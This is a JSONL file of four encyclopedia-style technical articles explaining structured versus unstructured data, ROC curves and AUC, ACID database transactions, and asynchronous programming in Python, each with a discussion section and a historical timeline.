{"text":"# Structured vs Unstructured Data\n\n## Summary\n\n\nData is available in many forms, shapes and formats. Broadly, data can be either structured or unstructured. Data that's properly organized, with well-defined constraints and relationships among its different parts, can be considered as **structured**.\n\nThere's no precise definition of structured data. In the hazy boundary between structured and unstructured data, some have identified semi-structured data. Others have argued that all data has some structure: it's just that some are more difficult to store or analyze.\n\nThe general viewpoint is that all data can add value to data mining and analytics. Technology that evolved for structured data have been adapted, and new ones invented, to handle unstructured data as well. Unstructured data has become increasingly important due to its volume, velocity, variety and value.\n\n## Discussion\n\n### What do you mean by \"structure\" with respect to data?\n\nData that's highly organized such as in a database can be considered as structured data. These often use a Relational Database Management System (RDBMS). Such data has schema that defines attributes and their types, constraints on values, and relations with other data tables and attributes. Data must conform to this schema. This makes data easy to query using Structured Query Language (SQL) and thereby facilitates analysis. Data in spreadsheets may be considered structured. \n\nUnstructured data is not organized in this manner, that is, in RDBMS. Consider an audio stream, which has a well-defined format. Otherwise, it couldn't be decoded and played. Consider newspaper text. A linguist would say there's structure. But from the perspective of business analysts, this data is unstructured simply because it's harder to analyze and obtain insights. \n\nSome say the term unstructured data is a misnomer. If it's truly lacking structure, it's useless to store it or analyze it. It would be better to categorize data as fixed or variable structure; repetitive or hierarchical; textual or non-textual. \n\n\n### Could you give examples of unstructured and semi-structured data?\n\nRich media such as image, video or audio are unstructured. Social media generates lots of unstructured content. Websites host unstructured content that are commonly textual in nature. Information in documents such as MS Word files or PDF files are also seen as unstructured. Machine-generated content such as satellite images, IoT sensor data, or CCTV video feed are considered unstructured. \n\nMany of the same data sources mentioned above could have attributes that make them **semi-structured**. For instance, Tweets, Facebook posts, blog articles, and news stories published online often have number of likes, retweets/shares, and comments, including names of readers who did these. Email text may be unstructured but the header contains names of sender/receiver, date and subject that give some structure. \n\nIoT data may be seen as semi-structured when it's in JSON or XML formats. Data about data, called **metadata**, such as author name and publication date make data semi-structured. In fact, rich semantic markup on webpages gives them lot more structure that what HTML alone does. Most unstructured data can be considered as semi-structured because of metadata. \n\n\n### What are some use cases of analysis on unstructured data?\n\nIn a manufacturing plant, operation logs and reports are unstructured. Text analysis to pick out frequent words or sentiments can help the plant manager make a maintenance plan or quickly understand the nature of a particular line. \n\nKoorong Books in Australia uses text analysis to identify duplicate postings or suggest similar books. This is an example of content-based profiling. \n\nIn banking, customer may often give feedback or complaint on social media rather than via web forms. If banks wish to be customer centric, they need to act on this unstructured data. In fact, this could apply to any industry that needs to listen to its customers. Companies can use chatbots with NLP capability to automate customer support functions. \n\nDeep learning techniques are being used to analyze images and sounds. Images can be automatically labelled. Mammograms can be analyzed for cancer. The sound of a motor can inform in advance if it's going to fail. This is of importance in automobile and aviation sectors. \n\n\n### What are some myths about unstructured data?\n\nAn early myth was that unstructured data can't be quantitatively analyzed. Perhaps true in the past, but with recent advances in computer vision, speech processing, and natural language processing, algorithms are able solve many complex problems in these domains. \n\nSome might believe that unstructured data replaces structured data. In reality, many companies have not fully exploited the potential of structured data. Good old predictive models and analytical capabilities should continue to be used. Unstructured data will give access to new insights not otherwise available in structured data. In conclusion, both structured and unstructured data are valuable. \n\nAnother myth says that all big data is unstructured data. Telecom companies, smart energy meters, smartphones, and cars fitted with sensors are all generating big data that's structured. \n\nSome businesses just store the data with a vague idea of using them later. In fact, data and insights depreciate over time. Real-time dashboards are probably the best opportunity to act on data in a timely manner. When collecting or acting on data, tie it to a business vision. \n\n\n### How should I store unstructured data?\n\nBig Data technologies such Hadoop and NoSQL databases have come about to address the needs of storing and managing unstructured data. Data warehouses and data lakes are places where big data is stored. Unstructured data is often used alongside structured data. Many technologies cater for both. \n\nHadoop enables distributed storage and computing on big data. It's a good engine for handling unstructured data, though it's a myth to think that unstructured data can't be stored or analyzed without Hadoop. \n\nNoSQL databases are highly scalable and support flexible schema. Their storage is distributed. They're non-relational. They're good at storing multimedia, social media or textual data. Among the different types are document stores, column stores, key-value stores and graph data stores. A mix of these is often used, each suited to a particular data. This approach is called **polyglot persistence**. \n\nAs cost of flash memory drops, flash becomes a faster alternative to disk storage. However, file services such as data protection, backup, and search need to be in place. \n\nFor a minimalistic storage system, try the open source MinIO. Alternatives include Ceph, Scality and Cleversafe. \n\n\n### What are some techniques to analyze unstructured data?\n\nThe general perception is that unstructured data is hard to analyze. This is changing due to advances in machine learning models. \n\nThe simplest way to get started is perhaps to call APIs that others have published. For example, cognitive APIs from IBM such as Watson Tradeoff Analytics can help in decision making. Geneea is an NLP API. For speech recognition, we can use AT&T Speech API. Google's Cloud Vision API is useful for many image-specific tasks. \n\n## Milestones\n\n1960\n\nIn the 1960s, businesses start using computers. Storing and managing data becomes important to them. Because memory is expensive, there's a need to store data efficiently. For these reasons, databases are invented. IBM's IMS is an example. These early databases store only structured data. \n\n1970\n\nThe 1970s sees the arrival of **relational databases**. In 1974, IBM invents **SQL** as a language to query such databases. \n\nSep  \n1991\n\nAndy Rehn, VP of marketing for Data Base Architects, states that \"as much as 90 percent of the information business uses is non-numerical, freeform data.\" This is one of the earliest published reports that quantifies the prevalence of unstructured data. \n\n1995\n\nThe early and mid-1990s is when text mining starts entering real-world applications. Document-management systems emerge, later rebranded as Enterprise Content Management (ECM) systems. The World Wide Web also starts generating lots of unstructured data. Business Intelligence (BI) that had grown up on structured data starts mining text for useful insights. \n\n1998\n\nA rule of thumb is that 80% of all data is unstructured or semi-structured at best. This 80% figure is mentioned in a Merrill-Lynch report but it's not due to primary research. \n\n2007\n\nFrom a survey involving data warehousing and business intelligence search, TDWI Research finds that structured/unstructured ratio is not 20/80 as often claimed. Structured data is at 47%, unstructured data at 31% and the rest being semi-structured. However, the report recognizes that unstructured data is on the rise. \n\nMar  \n2009\n\nOASIS approves *Unstructured Information Management Architecture (UIMA)*, version 1.0. Apache UIMA is an open source implementation of this standard. V1.0.0 of this software is released in January 2014. In August 2019, V3.1.0 is released. \n\nMar  \n2019\n\nAnalysis of unstructured data is still new in some domains. A case in point is the healthcare industry where doctors' handwritten notes, images, histories, formulae and genetics have not been fully analyzed.","meta":{"title":"Structured vs Unstructured Data","href":"structured-vs-unstructured-data"}}
{"text":"# ROC Curve\n\n## Summary\n\n\nIn many applications, there's a need to decide between two alternatives. In the military, radar operators look at approaching objects and decide if it's a threat. Doctors look at an image and decide if it's a tumour. For facial recognition, an algorithm has to decide if it's a match. In Machine Learning, we call this **binary classification** while in radar we call it **signal detection**.\n\nThe decision depends on a threshold. **Receiver Operating Characteristic (ROC) Curve** is a graphical plot that helps us see the performance of a binary classifier or diagnostic test when the threshold is varied. Using the ROC Curve, we can select a threshold that best suits our application. The idea is to maximize correct classification or detection while minimizing false positives. ROC Curve is also useful when comparing alternative classifiers or diagnostic tests.\n\n## Discussion\n\n### How do we define or plot the ROC Curve?\n\nLet's take a binary classification problem that has two distributions: one for positives and one for negatives. To classify subjects into one of these two classes, we select a threshold. Anything above the threshold is classified as positive. The accuracy of the classifier depends directly on the threshold we use. ROC Curve is plotted by varying the thresholds and recording the classifier's performance at each threshold. \n\nROC curve plots **True Positive Rate (TPR)** versus **False Positive Rate (FPR)**. TPR is also called recall or sensitivity. TPR is the probability that we detect a signal when it's present. FPR is the complement of specificity: (1-specificity). FPR is the probability that we detect a signal when it's not present. Being based on only recall and specificity, ROC curve is independent of prevalence, that is, how common is the condition in the population. \n\nAn ideal classifier will have an ROC curve that rises sharply from origin until FPR rises when TPR is already high. Each point on the ROC curve represents the performance of the classifier at one threshold value. \n\n\n### Which application domains are using ROC Curves?\n\nROC started in radar applications. It was later applied in many other domains including psychology, medicine, radiology, biometrics, and meteorology. More recently, it's being used in machine learning and data mining. \n\nIn medical practice, it's used for assessing diagnostic biomarkers, imaging tests or even risk assessment. It's been used to analyse information processing in the brain during sensory difference testing. \n\nIn bioinformatics and computational genomics, ROC analysis is being applied. In particular, it's used to classify biological sequences and protein structures. \n\nROC has been used to describe the performance of instruments built to detect explosives. In engineering, it's been used to evaluate the accuracy of pipeline reliability analysis and predict the failure threshold value. \n\n\n### What is AUC and its significance?\n\nAfter plotting the ROC Curve, the area under it is called **Area Under the ROC Curve (AUC)**, **Area Under the Curve (AUC)**, or **AUROC**. It's been said that \"ROC is a probability curve and AUC represents degree or measure of separability\". In other words, AUC is a single metric that can be used to quantify how well two classes are separated by a binary classifier. It's also useful when comparing different classifiers. \n\nAUC has some useful properties. It's **scale-invariant**. This means it tells how well predictions are ranked rather than their absolute values. AUC is also **classification-threshold-invariant**. We can objectively compare prediction models irrespective of classification thresholds used. However, these properties are not desirable for some applications. \n\nAUC is also **prevalence-invariant**. Suppose a health condition is prevalent in only 1% of the population. A simple classifier can achieve 99% accuracy by predicting negative always. AUC however gives a more useful value of 0.5. \n\n\n### How do I interpret an AUC value?\n\nSince both axes of the ROC Curve range [0,1], AUC also ranges [0,1]. Some researchers map AUC to **Gini Coefficient**, which is 2\\*AUC-1, with range [-1,-1]. \n\nMore realistically, AUC has a range [0.5,1] since the ROC curve is expected to be above the diagonal. Value 0.5 implies very poor separation and is represented by the diagonal ROC curve. Value 1 implies perfect separation, where TPR is always 1 at all values of FPR. As a thumb rule, we have an excellent classifier if AUC is >=0.9 and a good classifier when it's >= 0.8.  \n\n\n### Why do I need an ROC Curve when TPR and FPR may be adequate?\n\nROC Curve is a useful tool to compare classification methods and decide which one is better. Suppose a computer algorithm is implemented to diagnose a medical condition. Using ROC curves, we can compare its performance against a doctor's diagnosis, and against doctor's diagnosis when aided with computer-assisted detection (CAD). As shown in figure, a doctor using CAD gives best performance. The other two approaches have the same AUC but the doctor has a higher specificity (lower FPR). \n\nIn any binary classification problem, it's not possible to agree on a single threshold and consequently on values of sensitivity and specificity. Take the case of diagnostic testing as an example. Threshold would be adjusted based on the context and available information, such as patient history, presence of symptoms, or even likelihood of getting sued for a missed cancer. If we just plot two points for two classifiers, it's hard to know which one is better. Once we plot entire ROC curves, it's easy to see which one is better. \n\n\n### For a binary classification problem, how to I select the optimum threshold on the ROC Curve?\n\nThere are basically two methods of determining the optimum threshold: \n\n    + **Minimum-d**: This is the shortest distance of the curve from the top-left corner or (0,1) point.\n    + **Youden index**: This is the vertical distance from the curve to the diagonal. To find the optimum point on the curve, we should maximize the Youden index.ROC Curve and AUC ignore prevalence or misclassification costs. For example, poor sensitivity means missed cancer and delayed treatment whereas poor specificity means unnecessary treatment. Likewise, a false positive on a blood test for HIV simply means a discarded blood sample but a false negative will infect the blood recipient. It's for this reason decision makers should consider financial costs, and combine ROC analysis with utility-based decision theory to find the optimum threshold. \n\n\n### How do I apply ROC Curves to multiclass problems?\n\nGiven \\(c\\) classes, the ROC space has \\(c(c-1)\\) dimensions. This makes it difficult to apply ROC Curve methodology to multiclass problems. However, some attempt has been made to apply it to 3 classes where AUC concept is extended to **Volume Under the ROC Surface (VUS)**. \n\nOne approach is to reframe the problem into \\(c\\) one-vs-all binary classifiers. However, ROC Curve may not be suitable since FPR will be underestimated due to large number of negative data points. For this reason, Precision vs. Recall curve is more suitable. \n\nFor computing the AUC, one technique is to average pairwise comparisons. This equivalent AUC value is useful since we can ignore the costs associated with different kinds of misclassification errors. \n\n\n### What are some pitfalls or drawbacks of using ROC Curve and AUC?\n\nIn practice, AUC must be presented with a confidence interval, such as 95% CI, since it's estimated from a population sample. However, one research in clinical chemistry showed that many researchers failed to include CI or constructed them incorrectly. \n\nAUC involves loss of information. Two ROC curves crossing each other can have the same AUC but each will have a range of thresholds at which it's better.  Clinicians and patients interpret sensitivity and specificity but don't find AUC useful. They're not interested in performance across all thresholds. In ML, **cost curves** have been proposed as an alternative. Another alternative is **H-measure**. \n\nAUC ignores the misclassification costs. A new test may be deemed worthless by using AUC alone. AUC also ignores prevalence but it's known that prevalence affects test results. While sensitivity and specificity are also independent of prevalence, prevalence can be considered during interpretation of the ROC curve. \n\nJorge M. Lobo et al. give many other reasons why AUC is not a suitable measure.\n\n\n### What software packages are available for ROC analysis?\n\nIn R language, we can use the *pROC* package. Once we obtain the actual and predicted values, we can obtain the AUC along with confidence interval using the function `ci.auc()`. On GitHub, `sachsmc/plotROC` is an open source package for easily plotting ROC curves. It uses *ggplot2*, to which it adds handy functions for plotting: `geom_roc`, `geom_rocci` and `style_roc`. \n\nIn Python, a webpage on Scikit-learn gives code examples showing how to plot ROC curves and compute AUC for both binary and multiclass problems. It makes use of functions `roc_curve` and `auc` that are part of *sklearn.metrics* package. \n\n## Milestones\n\n1940\n\nThe idea of ROC starts in the 1940s with the use of radar during World War II. The task is to identify enemy aircraft while avoiding false detection of benign objects. ROC provides a suitable threshold for radar receiver operators. This also explains the origin of the term **Receiver Operating Characteristic (ROC)**. \n\n1950\n\nIn the 1950s, psychologists start using ROC when studying the relationship between psychological experience and physical stimuli. \n\n1953\n\nPeterson and Birdsall explain the ROC Curve in detail in the context of signal detection theory. They plot probability of signal detection versus probability of false alarm. Curve-1 represents optimum operation, curve-3 sets the lower limit, and curve-2 is by guessing. Curve-1 is produced by varying the operating level or threshold β, which is also the slope of the curve at that point. The value on the y-intercept is the one that needs to be maximized. \n\n1960\n\nL.B. Lusted applies ROC methodology to compare different studies of chest film interpretations for detection of pulmonary tuberculosis. This is the first application of ROC to radiology. It subsequently inspires the use of ROC in many diagnostic imaging systems. Lusted himself publishes *Decision-making studies in patient management* in 1971. \n\n1968\n\nDorfman and Alf develop a method of curve fitting and use software to automate ROC analysis. A maximum likelihood approach under binomial assumption is developed. Many other programs written in FORTRAN are developed later: ROCFIT, CORROC, ROCPWR, and LABROC. \n\n1969\n\nThe concept of **Free-Response Receiver Operating Characteristic (FROC) Curve** is introduced in auditory domain. In free-response analysis, in addition to detection, we also need to point out the location. The term \"free-response\" was coined in 1961. In 1978, FROC is applied for the first time in imaging. FROC can help where ROC can fail. For example, ROC can show location-level false positive and false negative that could \"cancel\" each other. This gives an image-level true positive: image shows cancer but wrong location is reported. \n\n1982\n\nAlthough **Area Under the ROC Curve (AUC)** was previously used, Hanley and McNeil develop analytical techniques to bring out its statistical properties. They estimate the standard error for different underlying distributions and sample sizes. \n\n1989\n\nAs one of the earliest application of ROC Curve to **machine learning**, K.A. Spackman uses it evaluate and compare ML algorithms. \n\n1997\n\nAndrew Bradley notes that ROC curve is useful for visualizing a classifier's performance but not suitable for comparing multiple classification methods. A single performance measure is more desirable. He discusses how **AUC** can be used as a measure for comparing **machine learning** algorithms. He explains why AUC is a better measure than overall accuracy. \n\n2000\n\nAn article titled *Better decisions through science* appears in Scientific American. It brings ROC Curve to the attention of a wider audience. One example in this article talks about glaucoma diagnosis using eye fluid pressure. It defines the basic terms and shows hypothetical distribution curves, ROC Curves, and AUC. It states that AUC is a reflection of a test's accuracy. \n\n2001\n\nHand and Till generalize the concept of AUC for multiclass problems. In 2007, Landgrebe and Duin approximate the problem via pairwise analysis.","meta":{"title":"ROC Curve","href":"roc-curve"}}
{"text":"# ACID Transactions\n\n## Summary\n\n\nComputer systems are rarely perfect and this applies to databases as well. To ensure that data is updated in a consistent manner, a sequence of operations are often grouped together into what's called a **transaction**. We may say that a transaction is something that changes the system state. \n\nIn case something should go wrong when executing these operations, the transaction as a whole can be aborted. This means that the database can be safely rolled back to the consistent state before the transaction. In database design and implementation, a transaction must fulfil four essential properties: Atomicity, Consistency, Isolation, Durability (ACID).\n\nMonolithic or SQL databases adopted ACID in their transactions but distributed or NoSQL databases didn't. However, distributed databases are starting to support ACID without impacting performance.\n\n## Discussion\n\n### What's the meaning of the acronym ACID?\n\nACID can be explained as follows:  \n\n    + **Atomicity**: All operations of a transaction happen as if they're a single operation. All changes are performed or none at all. If one operation in a transaction fails, the entire transaction fails and completed operations are rolled back.\n    + **Consistency**: Data starts with a consistent state and ends up in a consistent state. During the transaction, it may be inconsistent, but at the end, data is left in a consistent state.\n    + **Isolation**: Intermediate state of a transaction is not visible to other concurrent transactions. Concurrent transactions are effectively serialized.\n    + **Durability**: When a transaction completes, changes are stored in a persistent manner. Even if there's a power failure or other system errors, the effect of the completed transaction remains.\n\n### Could you explain ACID with an example?\n\nConsider a money transfer transaction. At the minimum, it would involve two operations: debiting from one account, then crediting to another account. What happens if money is debited from an account, then some failure happens (disk crash or power outage), and the receiver's account is never credited? This scenario leaves the database in an inconsistent state. To guard against this, we wrap both these operations into a single transaction that's expected to have ACID properties. \n\nSo now, even if there's a failure, atomicity ensures that the transaction will rollback the debit operation. In a normal successful scenario, both accounts will be updated correctly. It's not an issue if there's a failure after the transaction, since accounts have been updated in some persistent storage. \n\nSuppose another transaction *T2* queries the database when the money transfer transaction *T1* is in progress. It will see original balance in the sender's account since *T1* hasn't completed, even when the debit operation has happened within *T1*. This is the concept of isolation. \n\n\n### How do databases meet the ACID requirements?\n\nA transaction moves through various states. In the end, it can either succeed (committed) or fail (aborted). When committed, all changes made by the transaction become persistent. When aborted, changes made by the transaction are rolled back so that the starting state of the database is returned. This is usually implemented by making changes in a temporary space and then committing the entire transaction as a final step. \n\nConsistency is ensured by having a strongly consistent core involving a single operation on a single row. Integrity checks are built on top of this for multiple operations across multiple rows. \n\nFor isolation, read-write locking and multiversion concurrency control are two approaches. We also use globally ordered timestamps so that transactions can be organized serially. Partial ordering is possible when sub-transactions belonging to multiple transactions interleave. This lowers latency but doesn't give full isolation. Instead, a mechanism to detect write conflicts is used. \n\n\n### What are the some problems when isolation is not proper?\n\n**Dirty read** happens when full isolation is not present across transactions. A transaction updates a value but it's not yet committed. Another transaction reads the uncommitted value but the original transaction rolls back the changes due to an error. \n\nWhat happens if consecutive reads give different values? This problem is called **non-repeatable read**. This can be solved by locking the record until the current write transaction has completed. \n\nAnother problem is **phantom read** that happens when a new record is inserted, and this record matches the selection criterion issued by another concurrent transaction. The reading transaction will end up using stale data. Range locking or predicate locking is the solution to this problem. \n\n\n### Are there scenarios where we can relax ACID requirements?\n\nDatabase operations are either write-intensive transactional (OLTP) or read-intensive analytical (OLAP). ACID is essential for OLTP but can be relaxed for OLAP. \n\nLikewise, ACID has been traditionally relaxed in NoSQL or distributed databases where the focus has been on scale and availability. Strong consistency is sacrificed for eventual consistency. This is because in a distributed database it's inefficient to globally to acquire and release locks. However, modern databases of the late 2010s are bringing back ACID even in a globally distributed environment. Examples include Google Cloud Spanner, CockroachDB, TiDB, YugaByte DB, FoundationDB and FaunaDB. \n\nThe point is that where ACID is not guaranteed by the database, developers should take of consistency and isolation in the application logic. This may end up being more expensive in terms of development effort. ACID may be essential in the banking and finance industry but not every application requires ACID. Developers should evaluate if eventual consistency or \"ACID in practice\" is adequate for their application. \n\n\n### What do you mean by Distributed ACID?\n\nThe simplest transaction in a distributed database is **single row ACID** where a transaction impacts only one row. **Single shard ACID** is where the transaction impacts multiple records but they're all on the same shard, which is present on a single node. A true **Distributed ACID** is when the transaction impacts records across shards and nodes. \n\nAchieving distributed ACID is not trivial. A transaction manager that uses Two-Phase Commit (2PC) protocol can be used for atomicity. Paxos or Raft consensus protocols can be used for consistency. To synchronize times for isolation, Network Time Protocol (NTP) can be used. \n\nNot all distributed databases support distributed ACID. For example, since version 4.0, MongoDB supports single shard ACID but not distributed ACID. \n\nConsider Amazon Aurora, Amazon DynamoDB or Azure Cosmos DB. These have multiple masters with data replication. These are not compliant to distributed ACID. Each master has the entire data. Write conflicts are resolved using Last-Write-Wins (LWW) or Conflict-Free Replicated Data Types (CRDT). \n\n## Milestones\n\n1981\n\nJim Gray at Tandem Computers defines a **transaction** and notes that it must have three properties: consistency, atomicity and durability. At this point, neither isolation as a property nor ACID as an acronym is mentioned. He explains how the transaction concept can be implemented as time-domain addressing or logging plus locking. Tandem itself implemented these ideas in its NonStop approach, thus making their systems highly fault-tolerant. \n\n1983\n\nBased on Gray's concept of a transaction, Theo Haerder and Andreas Reuter identify **isolation** property. They also coin the term **ACID**. They state that \"transaction is the only unit of recovery in a database system\". \n\n1985\n\nFrom the mid-1980s, as business applications get more complex, new transaction models appear: nested transactions, chained transactions, distributed transactions. Based on application semantics, a transaction is divided into **sub-transactions**. The concept of **save points** (invented in the 1970s) becomes useful to rollback to specific sub-transactions. However, ACID guarantees are only at the transaction level. Thus, ACID requirements are relaxed for these complex applications. \n\n2000\n\nWith the growth of NoSQL and distributed databases since the early 2000s, **CAP Theorem** becomes the blueprint for designing a database system. Likewise, database system designers prefer to adopt **BASE** (Basic Availability, Soft-state, Eventual Consistency). In short, scale, resilience and availability are considered more important than immediate consistency. \n\n2012\n\nGoogle publishes a paper on **Spanner**, a globally-distributed database that gives high performance without sacrificing strong consistency. It's only in May 2017 that it becomes production ready under the name of **Cloud Spanner**. Likewise, researchers at Yale University publish details of **Calvin** for distributed transactions on partitioned database systems. These are couple of examples showing the trend towards **distributed ACID** from the mid-2010s.","meta":{"title":"ACID Transactions","href":"acid-transactions"}}
{"text":"# Asynchronous Programming in Python\n\n## Summary\n\n\nAsynchronous programming is a programming paradigm that enables better concurrency, that is, multiple threads running concurrently. In Python, `asyncio` module provides this capability. Multiple **tasks** can run concurrently on a single thread, which is scheduled on a single CPU core.\n\nAlthough Python supports multithreading, concurrency is limited by the Global Interpreter Lock (GIL). The GIL ensured that only one thread can acquire the lock at a time. Asynchronous programming doesn't solve the GIL limitation but still enables better concurrency. \n\nWith multiprocessing, task scheduling is done by the operating system. With multithreading, the Python interpreter does the scheduling. In Python's asynchronous programming, scheduling is done by what's called **the event loop**. Developers can specify in their code when a task voluntarily gives up the CPU so that the event loop can schedule another task. For this reason, this is also called **cooperative multitasking**.\n\n## Discussion\n\n### What's the background for adopting asynchronous programming in Python?\n\nPython has long supported both multiprocessing and multithreading. **Multiprocessing** can make use of multiple CPU cores but at the overhead cost of inter-process communication (IPC). Each process has its own Python interpreter and GIL. **Multithreading** avoids the IPC overhead by having all threads share the same memory space. But scheduling these threads is limited by the GIL. \n\nFor **I/O-bound** threads, if a thread waits on I/O, GIL is automatically released and given to another thread. For **CPU-bound** threads, GIL doesn't give us a mechanism to run all threads concurrently, even if the system has multiple CPU cores. In either case, asynchronous programming helps us achieve better concurrency (for the single CPU core scenario). \n\nGIL is used in Python's default CPython implementation. CPython's use of GIL makes memory management thread safe. Other implementations such as JPython and IronPython are not limited by the GIL. They solve memory management and thread synchronization within their virtual machines (JVM/CLR). Historically, CPython's GIL made it easy to interface with C extensions in a thread-safe manner, which made Python popular. \n\n\n### Which are the basic constructs that enable asynchronous programming in Python?\n\nExecuting asynchronous code requires an **event loop**. Python provides a default event loop implementation. It's also possible to use alternative implementations such as `uvloop`, which has shown at least 2x better performance. \n\nThe event loop executes **coroutines**, one at a time. A coroutine is simply a method or function defined with `async` keyword. A coroutine needs to be added to the event loop, such as using `asyncio.run()`. \n\nWhen a coroutine waits for the result of another coroutine using the `await` keyword, it gets suspended. The event loop then schedules another coroutine that's ready to run. More formally, a coroutine waits on an **awaitable object**. This can be another coroutine, a Task or a Future. \n\nA **Task** is really a wrapper on a coroutine typically created with `asyncio.create_task()`. Via the Task, the coroutine is automatically scheduled. \n\nA **Future** is a low-level object that represents the eventual result of an asynchronous operation. When a Future is awaited, it means the coroutine will wait until the Future is resolved in some other place. \n\n\n### Which are some basic API calls worth knowing for a beginner?\n\nWe can create multiple event loops in a thread but only one can be active at a time. Relevant APIs to learn are `asyncio.new_event_loop()`, `asyncio.set_event_loop()`, `asyncio.get_event_loop()` and `asyncio.get_running_loop()`. If `asyncio.get_event_loop()` is called without a prior call to `asyncio.set_event_loop()`, a new event loop is automatically created and set as the current one. \n\nEvent loop methods include `run_until_complete()`, `run_forever()`, `is_running()`, `is_closed()`, `stop()` and `close()`. Callbacks can be scheduled with `call_soon()`, `call_soon_theadsafe()`, `call_later()` and `call_at()`. Another useful method of loop is `create_task()`, which is also possible with `asyncio.create_task()`.  \n\nLoop also includes methods to manage network connections and entities: `create_connection()`, `create_datagram_endpoint()`, `create_server()`, `sendfile()`, `start_tls()`, plus low-level methods to work directly with sockets. \n\n`asyncio.run()` runs a coroutine, in the process creating an event loop and closing it at the end. This can't be called if an event loop is already running in the current thread. To run many tasks concurrently, call `asyncio.gather()`. Other useful methods include `asyncio.wait()`, `asyncio.wait_for()`, `asyncio.current_task()` and `asyncio.all_tasks()`. To sleep asynchronously, use `asyncio.sleep()` rather than `time.sleep()`. \n\n\n### What some essential tips when working with asynchronous Python code?\n\nAn event loop can run in any thread but it must run in the main thread if it has to handle signals and execute subprocesses. \n\nTo schedule callbacks from another thread, use `loop.call_soon_threadsafe()` rather than `loop.call_soon()`. \n\nNote that calling a coroutine function doesn't actually execute the function and return the result. It only returns a coroutine object, which must be passed into `asyncio.run()`. \n\nAvoid CPU-bound blocking calls. For example, if a CPU-intensive computation takes 1 second, all asynchronous tasks and I/O operations will be delayed by 1 second. Use `loop.run_in_executor()` along with `concurrent.futures.ThreadPoolExecutor` to execute blocking code in a different thread or even a different process. \n\n\n### Which Python packages or modules enable asynchronous programming?\n\nModule `asyncio` is the main one for asynchronous programming in Python. While `gevent` and `eventlet` achieve similar behaviour, `asyncio` is easier and more approachable even for non-experts. \n\nUse module `threading` for I/O-bound concurrent operations. Use `multiprocessing` for CPU-bound parallel computations. Equivalently, `concurrent.futures.ThreadPoolExecutor` and `concurrent.futures.ProcessPoolExecutor` can be used as these provide a simpler API.  \n\nAmong the alternatives to `asyncio` are `curio` and `trio`. Both these are somewhat compatible with `asyncio`. Trio in particular claims to focus on usability and correctness. \n\nTimo Furrer curates a list of asynchronous Python frameworks and packages. Among the web frameworks are aiohttp, Tornado, Sanic, Vibora, Quart and FastAPI. For message queues we have aioamqp, pyzmq, and aiokafka. For testing we have aiomock, asynctest, and pytest-asyncio. For databases we have asyncpg, aioredis, and aiomysql. The popular `requests` library with asynchronous support is called `requests-async`. \n\nTo make use of multicores or even multiple machines, Apache Spark (via PySpark) should be considered. Meanwhile, work is going on to bring multicore support within the interpreter via projects Software Transactional Memory, Dask and PyParallel. \n\n\n### How can I debug asynchronous Python code?\n\nBy default, `asyncio` runs in production mode. There are many ways to run it in debug mode: \n\n    + Set `PYTHONASYNCIODEBUG` environment variable to 1\n    + Use `-X dev` command line option\n    + Use argument `debug=True` to `asyncio.run()` (default is `debug=False`)\n    + Call `loop.set_debug(True)` (can inspect current value with `loop.get_debug()`)Adjust the logging level by calling for example `logging.getLogger(\"asyncio\").setLevel(logging.WARNING)`. Python interpreter will emit log messages for never-awaited coroutines or never-retrieved exceptions. In debug mode, we get more information about these issues. \n\nThe third-party library aiodebug might help in debugging asyncio programs. \n\n\n### How's the performance of asynchronous programming in Python?\n\nPerformance of `asyncio` falls short of the what Node.js and Go can achieve. However, when `asyncio` is used along with `uvloop` (for the event loop) and `httptools` (for HTTP), it gives best performance in terms of both throughput and response time. \n\nWhile `aiohttp` offers asynchronous HTTP, it has a slow HTTP parser. This limitation is addressed by `httptools`. However, in one experiment, `aiotools` outperformed its synchronous equivalents such as Flask or Django. It was 26x faster than Flask. \n\nIn another experiment involving multiple HTTP calls, total runtime was 13.1 secs (synchronous, 1 thread), 1.7 secs (synchronous, 20 threads), and 1.3 secs (aiohttp, 1 thread). When used with Gunicorn web server, `aiohttp` was 2x faster than Flask when a single Gunicorn worker was used. \n\nAnother experiment noted that it's unfair to compare synchronous and asynchronous web frameworks without adjusting the **number of workers**. Synchronous frameworks must be given more workers since the entire worker blocks on I/O. With more workers, they can utilize all the CPU cores. This experiment showed that synchronous frameworks did better. \n\n## Milestones\n\nOct  \n2002\n\nFirst version of **Twisted** is released. At a time when the Python standard doesn't offer asynchronous support out of the box, Twisted supports it. It's a Python-based event-driven framework useful for building networked clients and servers. It supports multiple protocols and interfaces. \n\n2009\n\nRyan Dahl and others at Joyent develop **Node.js**. Asynchronous programming is at the heart of Node.js. With subsequent widespread adoption of Node.js, it becomes important for Python to start looking into asynchronous programming. What Node.js calls promises, Python calls them **awaitables**. \n\nDec  \n2012\n\nWork towards standardizing asynchronous support in Python begins as part of **PEP 3156**, titled *Asynchronous IO Support Rebooted: the \"asyncio\" Module*. This supersedes an earlier proposal (PEP 3153). It also acknowledges earlier work of Twisted, Tornado, and ZeroMQ that have supported asynchronous calls in their packages. \n\nOct  \n2013\n\nVersion 0.1.1 of `asyncio` is released on PyPI. Version 0.4.1 comes out in April 2014. \n\nMar  \n2014\n\n**Python 3.4** is released. Module `asyncio` is formally introduced as part of this release. \n\nNov  \n2015\n\nPython 3.5 is released with support for **awaitable objects**, **coroutine functions**, **asynchronous iteration**, and **asynchronous context managers**. This includes syntaxes `async def`, `async for`, `async with` and `await`. Any object that has the `&lowbar;&lowbar;await()&lowbar;&lowbar;` method can be awaited. These changes are expected to make asynchronous programming a lot easier. The async/await syntax of this release is inspired by `yield from` of Python 3.3 and `asyncio` module of Python 3.4. \n\nDec  \n2016\n\nPython 3.6 is released. **Asynchronous generators** and **asynchronous comprehensions** are now supported. The relevant proposals for these are PEP 525 and PEP 530 respectively. \n\nJun  \n2018\n\nPython 3.7 is released in which `async` and `await` are now **keywords**. This release improves the `asyncio` module in terms of **usability** and **performance**. For example, assuming `main()` is our coroutine, scheduling a coroutine to the event loop is as simple as calling `asyncio.run(main())`. This simplifies the earlier syntax of `loop = asyncio.get_event_loop()` and `loop.run_until_complete(main())`. \n\nOct  \n2019\n\nPython 3.8 is released with asynchronous support for unit testing. Specifically, `AsyncMock` is added along with suitable assert functions. In the `unittest` module, coroutines can be used as test cases with `unittest.IsolatedAsyncioTestCase`.","meta":{"title":"Asynchronous Programming in Python","href":"asynchronous-programming-in-python"}}
